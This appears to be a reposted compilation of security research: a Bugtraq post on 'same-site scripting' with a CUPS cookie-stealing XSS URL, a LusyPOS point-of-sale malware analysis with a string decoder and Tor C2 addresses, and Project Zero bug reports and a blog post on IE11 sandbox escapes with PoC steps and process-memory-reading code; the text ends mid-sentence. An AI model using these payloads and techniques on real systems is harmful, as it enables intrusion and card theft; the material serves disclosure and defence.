000007fe`eb25e744 NBDoc!CIFD::GetMRCImages+0x54c 00000000`0022ee60 000007fe`eb25dfa2 NBDoc!CIFD::GetCompositeLayer+0x4c4 00000000`0022ef50 000007fe`eb1f0f2c NBDoc!CIFD::GetImageLayerEx+0x172 00000000`0022efc0 000007fe`eb1f0cd0 NBDoc!CEPEditablePageTiffImpl::InternalGetImageLayer+0x218 00000000`0022f080 000007fe`eba5a523 NBDoc!CEPEditablePageTiffImpl::GetImageLayer+0x80 00000000`0022f0d0 000007fe`eba6636a MSPVWCTL!CPage::EnableImageLayer+0xbb 00000000`0022f120 000007fe`eba54210 MSPVWCTL!CPageDisplay::SetPageNum+0xb6 00000000`0022f180 000007fe`eba556e6 MSPVWCTL!CMultiPageDisplayViewBase::AddPageD+0x1dc 00000000`0022f230 000007fe`eba54b40 MSPVWCTL!CDocViewBaseImpl::UpdateViewLayout+0x3ca 00000000`0022f390 000007fe`eba36245 MSPVWCTL!CDocViewBaseImpl::Recalc+0x3c 00000000`0022f3e0 000007fe`eba36717 MSPVWCTL!CEPDocView::AfterLoadDoc+0x165 00000000`0022f450 000007fe`eba3768f MSPVWCTL!CEPDocView::Commit+0xcb *** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Windows Journal\Journal.exe 00000000`0022f4b0 00000001`3f5d9920 MSPVWCTL!CEPDocView::put_Document+0x53 Sursa: Windows Journal has a lot of 0days! - Pastebin.com

From: Tavis Ormandy <taviso () sdf lonestar org> Date: Fri, 18 Jan 2008 16:40:58 +0000 Hello, I'd like to document what appears to be a common named misconfiguration that can result in a minor security issue with web applications. It's a common and sensible practice to install records of the form "localhost. IN A 127.0.0.1" into nameserver configurations, bizarrely however, administrators often mistakenly drop the trailing dot, introducing an interesting variation of Cross-Site Scripting (XSS) I call Same-Site Scripting. The missing dot indicates that the record is not fully qualified, and thus queries of the form "localhost.example.com" are resolved. While superficially this may appear to be harmless, it does in fact allow an attacker to cheat the RFC2109 (HTTP State Management Mechanism) same origin restrictions, and therefore hijack state management data. The result of this minor misconfiguration is that it is impossible to access sites in affected domains securely from multi-user systems. The attack is trivial, for example, from a shared UNIX system, an attacker listens on an unprivileged port[0] and then uses a typical XSS attack vector (e.g. <img src=...> in an html email) to lure a victim into requesting http://localhost.example.com:1024/example.gif, logging the request. The request will include the RFC2109 Cookie header, which could then be used to steal credentials or interact with the affected service as if they were the victim. Another attack vector exists where a victim connects to a site from (or via) a machine that hosts another website, any XSS-like flaw or reflective web service on the hosted website can therefore be exploited in the context of the misconfigured domain. This would also affect users who connect via a shared caching http proxy machine, that also hosts an http daemon. An excellent example of exploiting this misconfiguration was discovered by my colleague, Will Drewry, in CUPS. http://localhost.example.com:631/jobs/?job_id=&job_printer_name=Click%20Me&job_printer_uri=javascript:alert(document.cookie) This misconfiguration allows any of the domains affected to be vulnerable to this issue via CUPS (installed on most UNIX, Linux, Mac systems). The bug requires a click to be exploited, but illustrates the problem nicely. Initial analysis shows that some of the worlds most popular websites are affected. The administrators of the example domains listed below were sent a draft of this email 7 days before release, so some (or all) may have been corrected, these examples are simply intended to demonstrate how widespread this problem is. localhost.microsoft.com has address 127.0.0.1 localhost.ebay.com has address 127.0.0.1 localhost.yahoo.com has address 127.0.0.1 localhost.fbi.gov has address 127.0.0.1 localhost.citibank.com has address 127.0.0.1 localhost.cisco.com has address 127.0.0.1 etc. Recommendations It is advised that non-FQ localhost entries be removed from nameserver configurations for domains that host websites that rely on HTTP state management. Of course, any other records that return RFC1918 or RFC3330 reserved addresses should also be carefully examined for similar issues. Additionally, those practising blackhole routing via dns to mitigate denial of service attacks against specific hostnames should avoid the temptation to resolve targets to 127.0.0.1 or similar addresses for sensitive domains. [0] It appears to be a common mistake to confuse the JavaScript SOP and the HTTP originating host definition for Cookies with regard to port number. The JavaScript SOP (http://www.mozilla.org/projects/security/components/same-origin.html) does include the port number, where as RFC2109 (http://www.ietf.org/rfc/rfc2109.txt) explicitly does not. This behaviour is arguably incorrect, making it impossible to securely host a website from a multi-user machine, but nevertheless is the case, and is implemented by most major browsers. Thanks to Will Drewry, Robert Swiecki, and Filipe Almeida for their valuable assistance researching this topic. -- ------------------------------------- taviso () sdf lonestar org | finger me for my gpg key. ------------------------------------------------------- Sursa: Bugtraq: common dns misconfiguration can lead to "same site" scripting

LusyPOS and Tor By Nick Hoffman and Jeremy Humble Introduction At our dayjobs, as reverse engineers at CBTS, Jeremy and I have been hunting new POS malware. A new sample appeared on Virustotal this week that had a very interesting name “lusypos.exe”. There have been very few references to this particular family and it appears to be fairly new. Google searching was able to give me the following information: The sample that I’ll be talking about in this post is bc7bf2584e3b039155265642268c94c7. At the time of this writing the malware is currently flagged on Virustotal by 7/54 engines. Interestingly, some of the signatures seem to be hitting on the copy of tor.exe that is in the bundle. Analysis This malware clocks in around 4.0 MB in size, so it’s not small. For comparison, getmypass POS malware was 17k in size. The first thing of note when executing this in a sandbox is that this malware drops a copy of tor.exe, libcurl.dll, and zlib1.dll. It also copies itself to the %APPDATA% directory on the victim host. The following are the locations and MD5’s of the dropped files are below: The file mbambservice.exe is the copy of tor.exe d0f3b3aaa109a1ea8978c83d23055eb1 C:\Documents and Settings\<USER>\Application Data\VeriFone32\libcurl.dll 4407393c1542782bac2ba9d017f27dc9 C:\Documents and Settings\<USER>\Application Data\VeriFone32\mbambservice.exe bc7bf2584e3b039155265642268c94c7 C:\Documents and Settings\<USER>\Application Data\VeriFone32\verifone32.exe b8a9e91134e7c89440a0f95470d5e47b C:\Documents and Settings\<USER>\Application Data\VeriFone32\zlib1.dll The malware will also create the mutex “prowin32Mutex” and injects code into iexplore.exe. This was a strange mix of dexter-like behavior mixed with Chewbacca-like techniques. While running in a sandbox, the malware communicated out to 86.59.21.38 212.112.245.170 128.31.0.39 154.35.32.5 193.23.244.244 Now let’s get to the good stuff. Decoding The malware has an interesting method of decoding strings that are statically defined in the binary. For the non-asm folks on here, the malware is using a lookup table with structures containing a one byte xor key, pointer to the string, and length of the string. It will perform an additional xor operation at the end. A decoder for this is written (in python below) #!/usr/bin/env python # ----------------------------------------------------------------------------- # # Author: Jeremy Humble - CBTS ACS # Description: POC LusyPOC String Extractor. Strings are stored in an array # of 8 byte structs with the following structure: {short xor_key, # short length, char* encoded_string} # ----------------------------------------------------------------------------- # import sys import struct import binascii import pefile import simplejson as json from pprint import pprint from optparse import OptionParser # Option Parsing usage = "lusypos_parser.py [-j] lusypos_sample1 [lusypos_sample2] ..." opt_parser = OptionParser(usage=usage) opt_parser.add_option("-j", "--json", action="store_true",dest="json_output", help="Output all information on each string in json format") opt_parser.add_option("-p", "--pretty", action="store_true",dest="pretty_json_output", help="Output all information on each string in pretty json format") (options, args) = opt_parser.parse_args() if options.json_output and options.pretty_json_output: sys.stderr.write('Use either -j or -p, not both') exit() class LusyEncodedString: def __init__(self,raw_data,file_content,pe): self.xor_key = struct.unpack('H',raw_data[0:2])[0] self.length = struct.unpack('H',raw_data[2:4])[0] self.virtual_offset = struct.unpack('I', raw_data[4:8])[0] self.raw_offset = pe.get_offset_from_rva(self.virtual_offset - pe.OPTIONAL_HEADER.ImageBase) self.encoded_str = file_content[self.raw_offset:self.raw_offset+self.length] self._decode() def _decode(self): self.decoded_str = "" for i in range(0,self.length): self.decoded_str += chr(ord(self.encoded_str[i]) ^ self.xor_key ^ i) def __str__(self): return str(self.to_dict()) def to_dict(self): d = {'xor key': hex(self.xor_key), 'length': self.length, 'raw offset': hex(self.raw_offset), 'virtual offset': hex(self.virtual_offset), 'encoded string': self.encoded_str, 'decoded string': self.decoded_str} return d # For now we'll assume the table is always at RVA 401000 (raw 0x400) as hardcoded in bc7bf2584e3b039155265642268c94c7 # With a little more refinement this could probably be found dynamically. AFAIK it's always located at 0x401000. # Until I see a sample that shows otherwise, there's no point in doing this def parse_table(content,pe,table_rva=0x1000): encoded_strings = [] raw_offset = pe.get_physical_by_rva(table_rva) i = 0 while True: raw_struct = content[raw_offset+i*8:raw_offset+i*8+8] # The last struct in the table is all null bytes. Stop parsing when we hit it if struct.unpack('<Q',raw_struct)[0] == 0: break else: try: encoded_strings.append(LusyEncodedString(raw_struct,content,pe)) except Exception as e: sys.stderr.write('Error processing entry "%s" with Exception "%s". Ending' ' table processing\n' % (binascii.hexlify(raw_struct),e)) i += 1 return encoded_strings if __name__ == '__main__': fname_to_lusy_string_map = {} for arg in args: try: pe = pefile.PE(arg) with open(arg,'r') as fp: content = fp.read() fname_to_lusy_string_map[arg] = parse_table(content,pe) except Exception as e: sys.stderr.write('Exception processing file %s: "%s"\n' % (arg,e)) if options.json_output or options.pretty_json_output: json_dict = {} # Call to_dict on all of the objects so we can dump json for fname, lusy_strings in fname_to_lusy_string_map.items(): json_dict[fname] = [] for lusy_str in lusy_strings: json_dict[fname].append(lusy_str.to_dict()) # If only working on one file, omit the top level filename key since it's obvious if len(json_dict.keys()) == 1: json_dict = json_dict[json_dict.keys()[0]] if options.json_output: print json.dumps(json_dict) else: pprint(json_dict) else: for fname, lusy_strings in fname_to_lusy_string_map.items(): for lusy_str in lusy_strings: print lusy_str.decoded_str Which when executed will decode the following strings: http://kcdjqxk4jjwzjopq.onion/d/gw.php http://ydoapqgxeqmvsugz.onion/d/gw.php VeriFone32 verifone32 prowin32Mutex b00n v1.1 \\Internet Explorer\\iexplore.exe mbambservice.exe tor.exe zlib1.dll libcurl.dll Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Associations Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\0 LowRiskFileTypes Content-Type: application/x-www-form-urlencoded 127.0.0.1:9050 Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0) g00n curl_easy_init curl_easy_setopt curl_easy_cleanup curl_easy_perform curl_easy_strerror curl_slist_append curl_easy_getinfo curl_slist_free_all page= &ump= &ks= &opt= &unm= &cnm= &view= &spec= &query= &val= &var= DetectShutdownClass download- update- checkin: scanin: uninstall response= UpdateMutex: Software\\Verifone32 Software\\Microsoft\\Windows\\CurrentVersion\\Run .DEFAULT\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run mbambservice.exe wmiprvse.exe LogonUI.exe svchost.exe iexplore.exe explorer.exe System smss.exe csrss.exe winlogon.exe lsass.exe spoolsv.exe alg.exe wuauclt.exe firefox.exe chrome.exe devenv.exe This contains the C2 information, along with a process whitelist, and registry keys for persistence. One thing to note based on these strings, is that it looks like the malware may have taken a cue from dexter. RAM Scraping RAM scraping is performed through the common sequence of using CreateToolhelp32Snapshot, then using Process32First and Process32Next to iterate. Pseudocode for that would look something like the following: handle = CreateToolhelp32Snapshot Process32First(handle) do sleep 1000 OpenProcess VirtualQueryEx ReadProcessMemory CloseHandle Sleep 5000 while Process32Next This technique is not new and is commonly used in many different POS Ram scrapers. Truth is, that without writing a driver, the malware authors often have their hands tied and only have a few techniques to peer into process memory space. CC Validation The malware also contains methods to search memory for sequences of data that look like credit card track information. Once it finds that data, there are checks against the potential credit card number to determine if it is Luhn valid. Luhn’s algorithm is the defacto algorithm for validating credit card numbers. It can be seen implemented in the malware using a lookup table rather than calcuating the digital root. One note, is that this is the same implementation of Luhn’s as FrameworkPOS, Dexter, and getmypass. Closing Thoughts When looking into malware families like Chewbacca and now LusyPOS, one thought comes to mind. Why would a POS machine be allowed to talk to tor? Most PCI audits will attempt to lock this sort of activity down, but there seems to be devils in the implementation that allow malware like this to be successful. This is just a scratch in the surface of a new malware family. We’ll be curious to watch it evolve over the next couple years and track its progress. LusyPOS and Tor was published on December 01, 2014. Sursa: LusyPOS and Tor – Adventures in Security

[h=1]9447 CTF 2014 write-ups[/h] https://9447.plumbing/ Scoreboard @9447CTF on Twitter [h=2]Info[/h] Flags are of the format 9447{[0-9a-zA-Z_]+}. Please submit the entire flag, including 9447{}. [h=2]Completed write-ups[/h] bashful insanity_check ramble tumorous [h=2]Incomplete write-ups[/h] blockchain booty classy coffee coor coor doom6 europe01 europe02 europe03 fuckpyjails future geocap hellomike johnlions no strings attached nosql polydata rolling securestore shmap Sursa: https://github.com/ctfs/write-ups/tree/master/9447-ctf-2014

E vorba de cateva mii de euro, sau ai furat 10 RON de la parinti?

Flash heap buffer overflow calling Camera.copyToByteArray() with a large ByteArray This bug came out of a conversation with Nicolas Joly. I don't feel comfortable claiming any credit but I'll happily take on the co-ordination. i.e. please credit simply "Nicolas Joly" This is extremely similar to https://code.google.com/p/google-security-research/issues/detail?id=46 The main difference is that in order to trigger the bug, it is necessary for the user to click through the camera permission dialog, which lowers the severity. Source and compiled SWF attached. Faults my Chrome Linux x64 every time, Flash v15.0.0.152. Note that you'll need to click "ok" on all the permission dialogs before a timer fires at the 2 second mark. If you miss, just refresh and try again. This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public. [TABLE] [TR] [TD=width: 20] [/TD] [TD] CameraCopyToByteArrayBug.as 942 bytes Download [/TD] [/TR] [/TABLE] [TABLE] [TR] [TD] [/TD] [TD] CameraCopyToByteArrayBug.swf 898 bytes Download[/TD] [/TR] [/TABLE] Sursa: https://code.google.com/p/google-security-research/issues/detail?id=116&can=1

Microsoft Office 2007 lcbPlcffndTxt/fcPlfguidUim memory corruption The following access violation was observed in Microsoft Office 2007: (7b4.d5c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0000245d ebx=00003db4 ecx=03b57000 edx=000877e6 esi=0000001a edi=00087800 eip=31af194a esp=0011f654 ebp=0011f65c iopl=0 nv up ei ng nz na po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010287 wwlib!wdCommandDispatch+0x46a0c3: 31af194a 66833c7900 cmp word ptr [ecx+edi*2],0x0 ds:0023:03c66000=???? 0:000> k ChildEBP RetAddr 0011f65c 31818c6d wwlib!wdCommandDispatch+0x46a0c3 0011f690 319cf050 wwlib!wdCommandDispatch+0x1913e6 0011f6b4 315f0209 wwlib!wdCommandDispatch+0x3477c9 0011f998 31974378 wwlib!DllGetClassObject+0x174e62 0011ff88 3134ed9a wwlib!wdCommandDispatch+0x2ecaf1 00120194 3134eb07 wwlib!FMain+0x10a7eb 0012022c 6bdd1d83 wwlib!FMain+0x10a558 001202dc 6bdd24c8 MSPTLS!LssbFIsSublineEmpty+0x22cb 0012035c 6bddf8e0 MSPTLS!LssbFIsSublineEmpty+0x2a10 001203c0 6bddff5d MSPTLS!LssbFIsSublineEmpty+0xfe28 001203f0 6bddf1ef MSPTLS!LssbFIsSublineEmpty+0x104a5 001205f4 6bdc4b85 MSPTLS!LssbFIsSublineEmpty+0xf737 00120628 312dc82a MSPTLS!LsCreateLine+0x23 0012069c 312dc243 wwlib!FMain+0x9827b 00120704 312dbc97 wwlib!FMain+0x97c94 001207f4 6be51b27 wwlib!FMain+0x976e8 00120894 6be5c65b MSPTLS!FsDestroyMemory+0x1ee4e 00120a0c 6be5c94c MSPTLS!FsDestroyMemory+0x29982 00120a58 6be36d59 MSPTLS!FsDestroyMemory+0x29c73 00120ac4 6be37f87 MSPTLS!FsDestroyMemory+0x4080 Notes: - Reproduces on Windows Server 2003 and Windows 7. Running the sample with a fresh filename each time is recommended due to document recovery interfering with reproduction on subsequent attempts. - The accessed page is in state MEM_FREE. - The crashing function reads off the end of a heap segment. It appears to be counting the number of positive non-zero SHORT values in an array from a supplied offset. - The array bounds are supplied in the second argument to the function. In the crashing case, this bounds value is set to 0x02000005. - The same invalid bounds value is used in an immediately subsequent function call in a calculation of the destination buffer address for a memcpy, which suggests this bug is sufficient to cause memory corruption. - The test case reduces to a 2-bit difference from the original sample document. - The affected bits are in the lcbPlcffndTxt field of the FibRgFcLcb97 (or FIBTable97) structure, and the fcPlfguidUim field of the FibRgFcLcb2002 (or FIBTable2002) structure. - Attached samples: 12c4c461_1_crash.doc (crashing file), 12c4c461_1_orig.doc (original file) This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public. [TABLE] [TR] [TD=width: 20] [/TD] [TD] 12c4c461_1_crash.doc 149 KB Download [/TD] [/TR] [/TABLE] [TABLE] [TR] [TD] [/TD] [TD] 12c4c461_1_orig.doc 149 KB Download[/TD] [/TR] [/TABLE] Sursa: https://code.google.com/p/google-security-research/issues/detail?id=108&can=1

Microsoft Office 2007 TTDeleteEmbeddedFont handle double delete The following access violation was observed in Microsoft Office 2007: (7a4.808): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000001 ebx=feeefeee ecx=7ffdf000 edx=00150608 esi=00150000 edi=feeefee6 eip=7c87c9e1 esp=0012f244 ebp=0012f298 iopl=0 nv up ei pl zr na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 ntdll!RtlDebugFreeHeap+0x82: 7c87c9e1 0fb707 movzx eax,word ptr [edi] ds:0023:feeefee6=???? 0:000> k ChildEBP RetAddr 0012f298 7c85567a ntdll!RtlDebugFreeHeap+0x82 0012f370 7c83e448 ntdll!RtlFreeHeapSlowly+0x37 0012f454 73c37fb4 ntdll!RtlFreeHeap+0x11a 0012f468 73c34a77 T2EMBED!T2free+0x1d 0012f86c 31dbbb54 T2EMBED!TTDeleteEmbeddedFont+0x7c 0012f884 31dbbae9 wwlib!DllCanUnloadNow+0x25fbcb 0012f8ec 313406d8 wwlib!DllCanUnloadNow+0x25fb60 0012f92c 3135944d wwlib!FMain+0xfc129 0012f950 3135926c wwlib!FMain+0x114e9e 0012f95c 31359231 wwlib!FMain+0x114cbd 0012f984 31244c5b wwlib!FMain+0x114c82 0012ff10 300015fb wwlib!FMain+0x6ac 0012ff30 3000156d winword+0x15fb 0012ffc0 77e6f32b winword+0x156d 0012fff0 00000000 kernel32!BaseProcessStart+0x23 Notes: - Reproduces on Windows Server 2003 (as an access violation) and Windows 7 (as a heap critical error) - Opening the document causes “Word experienced an error trying to open the file.” dialog. After closing the dialog, and then closing Word, the crash occurs. - The dereference of the “heap free checking constant” suggests use-after-free. - Analysis shows the third argument of RtlpDebugPageHeapFree is 0xfeeefeee - this suggests that a pointer from a previously freed chunk is itself being freed. - The callstack may suggest a misuse of the font embedding API. For example, this could be caused by multiple calls to TTDeleteEmbeddedFont using the same font reference handle. - Breakpointing the TTDeleteEmbeddedFont and recording the handle argument confirms that a font reference handle is deleted twice. - The test case reduces to a 1-bit difference from the original sample document. - The affected bit is in the lcbSttbfBkmkArto field of the FibRgFcLcb2007 (or FIBTable2007) structure. - Attached samples: 9adcab7c_1_crash.doc (crashing file), 9adcab7c_1_orig.doc (original file) This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public. [TABLE] [TR] [TD=width: 20] [/TD] [TD] 9adcab7c_1_crash.doc 1.2 MB Download [/TD] [/TR] [/TABLE] [TABLE] [TR] [TD] [/TD] [TD] 9adcab7c_1_orig.doc 1.2 MB Download[/TD] [/TR] [/TABLE] Sursa: https://code.google.com/p/google-security-research/issues/detail?id=107&can=1

IE11 EPM Parent Process DACL Sandbox Escape Products affected: IE 11.0.9600.17239 in EPM. When running in EPM the main IE process running at medium has a weak DACL which allows sandboxed IE tabs to open the process with PROCESS_VM_READ access. This could allow an attacker to read out process secret information and potentially break out of the sandbox. The most immediate PoC I could come up with is abusing the CShDocVwBroker::GetFileHandle function. This is used to get a file read handle to a process but relies on having a SHA256_HMAC hash of the file path where the secret value is generated on a per-process basis. With the read access we can extract the per-process secret value and forge a valid token to access any file on the file system which the EPM process would not normally be able to do. However I know it's possible to use this access to attack other things to achieve a full sandbox escape. Provided is a PoC with 64 bit binaries and source. To test the PoC perform the following: 1) Copy injectdll.exe and testdll.dll to a directory. 2) Add ALL_APPLICATION_PACKAGES ACE to the directory to allow EPM to access the DLL 3) Ensure EPM is enabled in IE (and it's running 64 bit tabs). 4) Start desktop IE and navigate to an internet zone webpage. Right click the page and choose properties to verify page rendered with EPM 5) Find the PID of the EPM process then run 'injectdll pid testdll.dll' 6) If successful a message box should appear indicating that bootmgr has been opened. If you inspect the handle table of the IE EPM process a handle to bootmgr for read access should be present. This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public. [TABLE] [TR] [TD] [/TD] [TD] poc.7z 69.0 KB Download[/TD] [/TR] [/TABLE] Sursa: https://code.google.com/p/google-security-research/issues/detail?id=97&can=1

IE11 ImmutableApplicationSettings EPM Privilege Escalation Products affected: IE 11.0.9600.17239 Desktop in EPM. IE11 exposes a shared memory section to all tab process which contains configuration settings, named Immutable Application Settings. This contains settings such as whether protected mode is currently enabled. The vulnerability is due to a permissive DACL on the section object. While it's shared read-only to all EPM tabs the DACL permits the IE EPM SID to reopen the section read/write. With this it's possible to unset the protected mode flag for new tabs then navigate to another page which exploits an RCE vulnerability. The simplest way to achieve this is to just call ExitProcess, in the exploit. The tab recovery mechanism will restart the exploiting page automatically but now without EPM enabled. An attacker could then reuse their original RCE to break out of the sandbox. It is probably also possible to directly escape from a compromised sandbox process however I've not attempted to do that. This might not work to break out of Metro mode IE as that shouldn't be able to disable EPM, however there might be other configuration settings accessible which would weaken the security of the browser such as COM proxy wrappers. Provided is a PoC with 32 bit binaries and source. To test the PoC perform the following: 1) Copy injectdll.exe and testdll.dll to a directory. 2) Add ALL_APPLICATION_PACKAGES ACE to the directory to allow EPM to access the DLL 3) Ensure EPM is enabled in IE (and it's running 32 bit mode). It doesn't work in normal PM (the DACL is correct in PM's case). 4) Start desktop IE and navigate to an internet zone webpage. Right click the page and choose properties to verify page rendered with EPM 5) Find the PID of the EPM process then run 'injectdll pid exploit.dll' 6) Tab recovery should reload the web page, if you now right click properties it should indicate that there's no longer any protected mode enabled. This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public. [TABLE] [TR] [TD] [/TD] [TD] poc.7z 84.3 KB Download[/TD] [/TR] [/TABLE] Sursa: https://code.google.com/p/google-security-research/issues/detail?id=95&can=1

Internet Explorer EPM Sandbox Escape CVE-2014-6350 Posted by James Forshaw This month Microsoft fixed 3 different Internet Explorer Enhanced Protected Mode (EPM) sandbox escapes which I disclosed in August. Sandboxes are one of the main areas of interest for Project Zero (and me in particular) as they are choke points for an attacker successfully exploiting a remote code execution vulnerability. All three bugs are fixed in MS14-065, you can read the original reports here, here and here. CVE-2014-6350 is perhaps the most interesting of the bunch, not because the bug is particularly special but the technique to exploit it to get code execution out of the sandbox is unusual. It demonstrates a potential attack against DCOM hosts if there’s an accompanying memory disclosure vulnerability. This blog post is going to go into a bit more detail about how you can exploit the vulnerability. What Was the Vulnerability? The vulnerability was due to weak permissions on the broker process when IE is running in EPM mode. This didn’t actually affect the old Protected Mode (PM) for reasons I’ll soon explain. The EPM sandbox contains the untrusted tab processes which handle internet content, the broker process acts a mediator providing privileged services to the tabs when required. Interaction between the tabs and the broker uses a DCOM based IPC mechanism. Knowing how the Windows Access Check works we should be able to determine what permissions you’d receive if you tried to open the broker process from the EPM sandbox. The access check used for code running in an AppContainer is slightly more complicated than the normal Windows one. Instead of a single access check there are two separate checks performed to calculate the maximum granted set of permissions for the Discretionary Access Control List (DACL). The first check is done against the normal user and group SIDs in the token, the second is based on the capabilities SIDs. The bitwise AND between the two sets of permissions is the maximum grantable permissions (we’re going to ignore deny ACEs as they’re not relevant to this discussion). Now let’s take a look at the DACL for the broker process. A simplified form is shown in the table below. The first pass of the access check will match against the Current User SID which gives granted access of Full Control (show in Red). The second pass for the capability will match the IE Capability SID (show in Blue), once combined together the maximum permissions is Read Memory, Query Information. The fact that we can get Read Memory permissions is the vulnerability which Microsoft fixed. [TABLE] [TR] [TD=bgcolor: #b7b7b7] User[/TD] [TD=bgcolor: #b7b7b7] Permissions[/TD] [/TR] [TR] [TD] S-1-15-3-4096 (IE Capability SID)[/TD] [TD] Read Memory, Query Information[/TD] [/TR] [TR] [TD] Current User[/TD] [TD] Full Control[/TD] [/TR] [TR] [TD] SYSTEM [/TD] [TD] Full Control[/TD] [/TR] [/TABLE] We can call OpenProcess passing it the PID of the broker and the desired access of PROCESS_VM_READ and the kernel will return the sandboxed process an appropriate handle. With this handle it’s trivial to read arbitrary memory from the broker using the ReadProcessMemory API. This even correctly handles invalid memory addresses so nothing should crash unexpectedly. BOOL ReadMem(DWORD ppid, LPVOID addr, LPVOID result, SIZE_T size) { HANDLE hProcess = OpenProcess(PROCESS_VM_READ, FALSE, ppid); BOOL ret = FALSE; if(hProcess) { ret = ReadProcessMemory(hProcess, addr, result, size, NULL); CloseHandle(hProcess); } return ret; } Things get a bit more complicated if you’re on 64-bit Windows and trying to exploit from a 32-bit tab process, Wow64 gets in the way. You can’t directly use ReadProcessMemory to read memory from the 64-bit broker. You can use something like wow64ext to get around this limitation, but for now we’ll just ignore it. But wait, what about PM, why isn’t the bug there as well? In PM only the single access check is performed so we should get Full Control but we don’t due to the Mandatory Integrity Label (IL) feature introduced in Windows Vista. When a process tries to open another the access check in the kernel will first compare the IL of the calling process against the value specified in the target process’ System ACL (SACL). If the calling process’ IL is lower than that specified by the target process the maximum access is limited to a small subset of the available access permissions (such as PROCESS_QUERY_LIMITED_INFORMATION). This will block PROCESS_VM_READ or anything more dangerous even before the DACL is checked. Okay so let’s take a look at the token for the EPM sandboxed process in Process Explorer, we can clearly see the token has the Low Mandatory Level (highlighted in the below screenshot). Curiously the AppContainer access check seems to ignore the IL at least for any resource with a Medium (the default) and below level. If a resource passed the DACL check then those permissions are granted regardless of the IL. This seems to work for any securable resource including files and registry keys. I don’t know if this is by design but it seems like a weakness, if the IL was being checked this issue would have never existed. Exploiting the Vulnerability The original PoC supplied in the issue tracker exploited a method in one of the broker IPC interfaces to read arbitrary files on the system. By reading a per-process HMAC key the PoC could forge a valid token and call the appropriate method (CShDocVwBroker::GetFileHandle) to open the file. This is useful for EPM because the AppContainer prevents reading arbitrary files. Still this is only a read, not a write. Ideally we would like to be able to completely escape the sandbox, not just disclose the contents of files. This might initially seem like a difficult task, but it turns out there are more technologies which use per-process secrets to make themselves secure. One such technology is my all-time favourite Windows technology, COM (I might be joking when I say that). Turns out there’s a way of getting code execution in many application which implement remote COM services, as long as we’re able to disclose the content of the hosting process. COM Threading Models, Apartments and Interface Marshaling COM is used by many different components in Windows from the Explorer Shell to local privileges services such as BITS. Each use case has different requirements and restrictions, for example UI code needs all code to run on a single thread otherwise the the OS will get unhappy. On the other hand a utility class might be completely thread safe. To support these requirements COM supports a couple of threading models which relieves some of the burden on the programmer. An object is contained within an Apartment which defines how methods on the object can be called. There are two types of Apartments, Single Threaded Apartment (STA) and Multi Threaded Apartment (MTA). When considering how these apartments interact with how methods are called we need to define the relationship between the caller and the object. For that we’ll define the caller of methods as the Client and the object as the Server. The Client’s Apartment is determined by the flag passed to CoInitializeEx (we default to STA if the “legacy” CoInitialize is called instead). The Server’s apartment depends on the COM object threading model definition in the Windows registry. This can be one of three settings, Free (means multi-threaded), Apartment (means single-threaded) and Both. If the Client and Server have compatible apartments (which really only occurs when the server object is registered as supporting both threading models). then calls made to the object are direct function pointer dereferences via the object’s virtual function table. However in the case of STA calling MTA or MTA calling STA we need to proxy the calls in someway, COM does this through the process of Marshaling. We can summarise this in the following table. [TABLE] [TR] [TD=bgcolor: #b7b7b7] Client[/TD] [TD=bgcolor: #b7b7b7] Server[/TD] [TD=bgcolor: #b7b7b7] Inter-object communication via:[/TD] [/TR] [TR] [TD] STA[/TD] [TD] Free[/TD] [TD] Marshaling, unless server implements the free-threaded marshaler and is in the same process[/TD] [/TR] [TR] [TD] MTA[/TD] [TD] Apartment[/TD] [TD] Marshaling[/TD] [/TR] [TR] [TD] STA[/TD] [TD] Both[/TD] [TD] Direct Access[/TD] [/TR] [TR] [TD] MTA[/TD] [TD] Both[/TD] [TD] Direct access[/TD] [/TR] [/TABLE] Marshaling refers to the process of serializing method calls to the Server object. This is especially important in STA as all methods must be called on a single thread. This is typically coordinated using a Windows message loop, in fact if your application has no windows or message loop it will create them for you if you create a STA. When a Client calls an object in an incompatible apartment it really calls a special proxy object. This proxy knows about each different COM interface and method, including what parameters each method takes. The proxy takes the parameters, serializes the information using the built-in COM marshaling code and packages them up to be sent to the server. At the server side a dispatcher unmarshals the parameters and then invokes the appropriate method on the Server object. Any return values are sent back to the client in the same way. It turns out this model works equally well in-process as it does between processes using DCOM. The same Marshaling techniques of proxies and dispatcher works between processes or computers. The only difference is the transport for the marshaled parameters, instead of in-memory for a single process it might use local RPC, named pipes or even TCP depending on where the Client and Server are located. The Free-Threaded Marshaler Okay so how’s this going to help in exploiting the memory disclosure vulnerability? To understand I need to describe something called the Free-Threaded Marshaler (FTM). This is referred to in the previous table when a STA Client calls a method on a multi-threading capable Server. It seems awfully wasteful that the Client needs to go through this whole proxing/marshaling effort. Can’t it just call the object directly? This is what the FTM solves. When a COM object is instantiated in an incompatible apartment a reference to that object must be passed back to the caller. This is achieved using the same marshaling operations as during a call. In fact this same mechanism is used when a call is made to a object method which takes COM object parameters. The mechanism the marshaler uses to pass this reference is to build a special data stream called an OBJREF. This stream contains all the information a Client needs to construct a proxy object and contact the Server. This implements a pass-by-reference semantic for COM objects. An example of an OBJREF is shown below: In some scenarios though it makes sense to pass an object by-value, for example this would eliminate the proxy. For that purpose the OBJREF stream can also use pass-by-value semantics where all the data needed to reconstruct the original object in the Client’s apartment is specified. When the unmarshaler reconstructs the object, instead of getting a proxy it creates and initializes a brand new copy of the original object. An object can implement it’s own pass-by-value semantics by implementing the IMarshal interface. This feature is used by the FTM to “cheat” the system. Instead of passing across the original object’s data, it instead just passes a pointer to the original object in memory serialized in the OBJREF. When unmarshaled this pointer is deserialized and returned to the caller. It acts as a 